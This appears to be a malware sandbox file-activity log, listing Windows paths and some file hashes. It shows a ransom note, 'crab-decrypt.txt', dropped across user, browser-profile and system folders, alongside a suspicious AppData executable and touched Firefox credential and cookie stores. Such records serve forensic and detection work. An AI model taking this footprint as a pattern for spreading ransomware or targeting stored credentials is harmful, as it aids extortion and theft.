c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835272[[fn=sample table (annual report timeless design)]].docx
docx
MD5
61388293531b46cd5f842f527b2f9c4f
SHA1
7e6c8d8ee04c8bd786a38e503a833b087cb480ae
SHA256
fba55f3ce489ff3e3cfd43287a9c69c11d80c8480f0075dda9a0e517670455b0
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02836362[[fn=cover letter (resume timeless design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02836362[[fn=cover letter (resume timeless design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02836362[[fn=cover letter (resume timeless design)]].docx
docx
MD5
22854804b436b218cc99ab26875eb0a0
SHA1
1b127643d3a961e45bdd3e0d27e7fa12462d8fbc
SHA256
7bd6a51d444bdd7104c5ca3f528e03cc79e4c6c15d65c8158d7cef38669fe969
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998158[[fn=element]].dotx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998158[[fn=element]].dotx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998158[[fn=element]].dotx
dotx
MD5
612b1dc58dbcfbfd17bfad854fb703f5
SHA1
724806bfdeba99459533cb105f7444d23bd86283
SHA256
950496b0baa7be92a9ebc70acf6e40b02ffe0ae7db72b674741fd97002dce3f0
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998159[[fn=insight]].dotx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998159[[fn=insight]].dotx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998159[[fn=insight]].dotx
dotx
MD5
be5b4996fd89147059141be0f4f7aaad
SHA1
d6d318d3d3b7585dda2417a77dc05928573c500d
SHA256
e03a9bb3500e1ebb9a09e27b3eb88784bf500357200bf38245364db6f267a7c0
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\1033\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\1033\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document bibliography styles\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document bibliography styles\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document bibliography styles\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document building blocks\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document building blocks\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document building blocks\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document building blocks\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document building blocks\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\user\word document building blocks\1033\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\normal.dotm
users\nd9e1fyi\appdata\roaming\microsoft\templates\normal.dotm
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\normal.dotm
dotm
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\welcome to word.dotx
users\nd9e1fyi\appdata\roaming\microsoft\templates\welcome to word.dotx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\welcome to word.dotx
dotx
File
users\nd9e1fyi\appdata\roaming\microsoft\uproof\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\uproof\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\uproof\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\uproof\custom.dic
users\nd9e1fyi\appdata\roaming\microsoft\uproof\custom.dic
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\uproof\custom.dic
dic
File
users\nd9e1fyi\appdata\roaming\microsoft\vault\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\vault\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\vault\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\word\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\word\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\word\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\microsoft\word\startup\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\word\startup\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\word\startup\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\extensions\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\extensions\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\extensions\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\crash reports\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\crash reports\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\crash reports\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\crash reports\events\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\crash reports\events\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\crash reports\events\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\pending pings\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\pending pings\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\pending pings\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\addons.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\addons.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\addons.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\addonstartup.json.lz4
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\addonstartup.json.lz4
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\addonstartup.json.lz4
lz4
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\blocklist.xml
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\blocklist.xml
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\blocklist.xml
xml
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\bookmarkbackups\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\bookmarkbackups\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\bookmarkbackups\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\cert8.db
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\cert8.db
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\cert8.db
db
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\compatibility.ini
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\compatibility.ini
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\compatibility.ini
ini
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\containers.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\containers.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\containers.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\content-prefs.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\content-prefs.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\content-prefs.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\cookies.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\cookies.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\cookies.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crashes\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crashes\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crashes\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crashes\events\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crashes\events\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\crashes\events\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651440860.2d520ad0-8005-4317-b4fd-571af846ed8d.new-profile.jsonlz4
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651440860.2d520ad0-8005-4317-b4fd-571af846ed8d.new-profile.jsonlz4
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651440860.2d520ad0-8005-4317-b4fd-571af846ed8d.new-profile.jsonlz4
jsonlz4
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651441015.321b9820-ddf0-4472-8833-27c2104c93fa.main.jsonlz4
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651441015.321b9820-ddf0-4472-8833-27c2104c93fa.main.jsonlz4
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651441015.321b9820-ddf0-4472-8833-27c2104c93fa.main.jsonlz4
jsonlz4
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651456011.5f95b583-d699-497d-975d-4dba64e21259.main.jsonlz4
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651456011.5f95b583-d699-497d-975d-4dba64e21259.main.jsonlz4
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\archived\2017-08\1503651456011.5f95b583-d699-497d-975d-4dba64e21259.main.jsonlz4
jsonlz4
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\session-state.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\session-state.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\session-state.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\state.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\state.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\datareporting\state.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\extensions.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\extensions.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\extensions.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\favicons.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\favicons.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\favicons.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp\winnt_x86_64-msvc\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp\winnt_x86_64-msvc\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp\winnt_x86_64-msvc\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\1.6\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\1.6\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\1.6\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\1.6\gmpopenh264.info
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\1.6\gmpopenh264.info
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-gmpopenh264\1.6\gmpopenh264.info
info
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\license.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\license.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\license.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\manifest.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\manifest.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\manifest.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\widevinecdm.dll.lib
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\widevinecdm.dll.lib
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\gmp-widevinecdm\1.4.8.903\widevinecdm.dll.lib
lib
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\handlers.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\handlers.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\handlers.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\key3.db
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\key3.db
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\key3.db
db
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\minidumps\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\minidumps\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\minidumps\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\permissions.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\permissions.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\permissions.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\places.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\places.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\places.sqlite
sqlite
File
users\nd9e1fyi\appdata\roamingqtp35.exe
users\nd9e1fyi\appdata\roamingqtp35.exe
c:\
c:\users\nd9e1fyi\appdata\roamingqtp35.exe
exe
File
crab-decrypt.txt
crab-decrypt.txt
c:\
c:\crab-decrypt.txt
txt
File
$recycle.bin\crab-decrypt.txt
$recycle.bin\crab-decrypt.txt
c:\
c:\$recycle.bin\crab-decrypt.txt
txt
File
$recycle.bin\s-1-5-18\crab-decrypt.txt
$recycle.bin\s-1-5-18\crab-decrypt.txt
c:\
c:\$recycle.bin\s-1-5-18\crab-decrypt.txt
txt
File
documents and settings\crab-decrypt.txt
documents and settings\crab-decrypt.txt
c:\
c:\documents and settings\crab-decrypt.txt
txt
File
msocache\crab-decrypt.txt
msocache\crab-decrypt.txt
c:\
c:\msocache\crab-decrypt.txt
txt
File
perflogs\crab-decrypt.txt
perflogs\crab-decrypt.txt
c:\
c:\perflogs\crab-decrypt.txt
txt
File
recovery\crab-decrypt.txt
recovery\crab-decrypt.txt
c:\
c:\recovery\crab-decrypt.txt
txt
File
system volume information\crab-decrypt.txt
system volume information\crab-decrypt.txt
c:\
c:\system volume information\crab-decrypt.txt
txt
File
users\crab-decrypt.txt
users\crab-decrypt.txt
c:\
c:\users\crab-decrypt.txt
txt
File
crab-decrypt.txt
crab-decrypt.txt
z:\
z:\crab-decrypt.txt
txt
File
ggnuzuyfd.swf
ggnuzuyfd.swf
z:\
z:\ggnuzuyfd.swf
swf
File
users\default\crab-decrypt.txt
users\default\crab-decrypt.txt
c:\
c:\users\default\crab-decrypt.txt
txt
File
users\default\appdata\crab-decrypt.txt
users\default\appdata\crab-decrypt.txt
c:\
c:\users\default\appdata\crab-decrypt.txt
txt
File
users\default\appdata\local\crab-decrypt.txt
users\default\appdata\local\crab-decrypt.txt
c:\
c:\users\default\appdata\local\crab-decrypt.txt
txt
File
users\default\appdata\local\application data\crab-decrypt.txt
users\default\appdata\local\application data\crab-decrypt.txt
c:\
c:\users\default\appdata\local\application data\crab-decrypt.txt
txt
File
users\default\appdata\local\history\crab-decrypt.txt
users\default\appdata\local\history\crab-decrypt.txt
c:\
c:\users\default\appdata\local\history\crab-decrypt.txt
txt
File
users\default\appdata\local\microsoft\crab-decrypt.txt
users\default\appdata\local\microsoft\crab-decrypt.txt
c:\
c:\users\default\appdata\local\microsoft\crab-decrypt.txt
txt
File
users\default\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
users\default\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\users\default\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
users\default\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
users\default\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\users\default\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
txt
File
users\default\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
users\default\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\users\default\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
users\default\appdata\local\microsoft\windows sidebar\settings.ini
users\default\appdata\local\microsoft\windows sidebar\settings.ini
c:\
c:\users\default\appdata\local\microsoft\windows sidebar\settings.ini
ini
File
users\default\appdata\local\temp\crab-decrypt.txt
users\default\appdata\local\temp\crab-decrypt.txt
c:\
c:\users\default\appdata\local\temp\crab-decrypt.txt
txt
File
users\default\appdata\local\temporary internet files\crab-decrypt.txt
users\default\appdata\local\temporary internet files\crab-decrypt.txt
c:\
c:\users\default\appdata\local\temporary internet files\crab-decrypt.txt
txt
File
qbywysomd3bekw.mkv
qbywysomd3bekw.mkv
z:\
z:\qbywysomd3bekw.mkv
mkv
File
users\default\appdata\roaming\crab-decrypt.txt
users\default\appdata\roaming\crab-decrypt.txt
c:\
c:\users\default\appdata\roaming\crab-decrypt.txt
txt
File
users\default\appdata\roaming\microsoft\crab-decrypt.txt
users\default\appdata\roaming\microsoft\crab-decrypt.txt
c:\
c:\users\default\appdata\roaming\microsoft\crab-decrypt.txt
txt
File
users\default\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
users\default\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
c:\
c:\users\default\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
txt
File
users\default\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
users\default\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
c:\
c:\users\default\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
txt
File
users\default\application data\crab-decrypt.txt
users\default\application data\crab-decrypt.txt
c:\
c:\users\default\application data\crab-decrypt.txt
txt
File
users\default\cookies\crab-decrypt.txt
users\default\cookies\crab-decrypt.txt
c:\
c:\users\default\cookies\crab-decrypt.txt
txt
File
users\default\desktop\crab-decrypt.txt
users\default\desktop\crab-decrypt.txt
c:\
c:\users\default\desktop\crab-decrypt.txt
txt
File
users\default\documents\crab-decrypt.txt
users\default\documents\crab-decrypt.txt
c:\
c:\users\default\documents\crab-decrypt.txt
txt
File
users\default\documents\my music\crab-decrypt.txt
users\default\documents\my music\crab-decrypt.txt
c:\
c:\users\default\documents\my music\crab-decrypt.txt
txt
File
users\default\documents\my pictures\crab-decrypt.txt
users\default\documents\my pictures\crab-decrypt.txt
c:\
c:\users\default\documents\my pictures\crab-decrypt.txt
txt
File
users\default\documents\my videos\crab-decrypt.txt
users\default\documents\my videos\crab-decrypt.txt
c:\
c:\users\default\documents\my videos\crab-decrypt.txt
txt
File
users\default\downloads\crab-decrypt.txt
users\default\downloads\crab-decrypt.txt
c:\
c:\users\default\downloads\crab-decrypt.txt
txt
File
users\default\favorites\crab-decrypt.txt
users\default\favorites\crab-decrypt.txt
c:\
c:\users\default\favorites\crab-decrypt.txt
txt
File
users\default\links\crab-decrypt.txt
users\default\links\crab-decrypt.txt
c:\
c:\users\default\links\crab-decrypt.txt
txt
File
users\default\music\crab-decrypt.txt
users\default\music\crab-decrypt.txt
c:\
c:\users\default\music\crab-decrypt.txt
txt
File
users\default\my documents\crab-decrypt.txt
users\default\my documents\crab-decrypt.txt
c:\
c:\users\default\my documents\crab-decrypt.txt
txt
File
users\default\nethood\crab-decrypt.txt
users\default\nethood\crab-decrypt.txt
c:\
c:\users\default\nethood\crab-decrypt.txt
txt
File
users\default\ntuser.dat.log1
users\default\ntuser.dat.log1
c:\
c:\users\default\ntuser.dat.log1
log1
File
users\default\ntuser.dat.log2
users\default\ntuser.dat.log2
c:\
c:\users\default\ntuser.dat.log2
log2
File
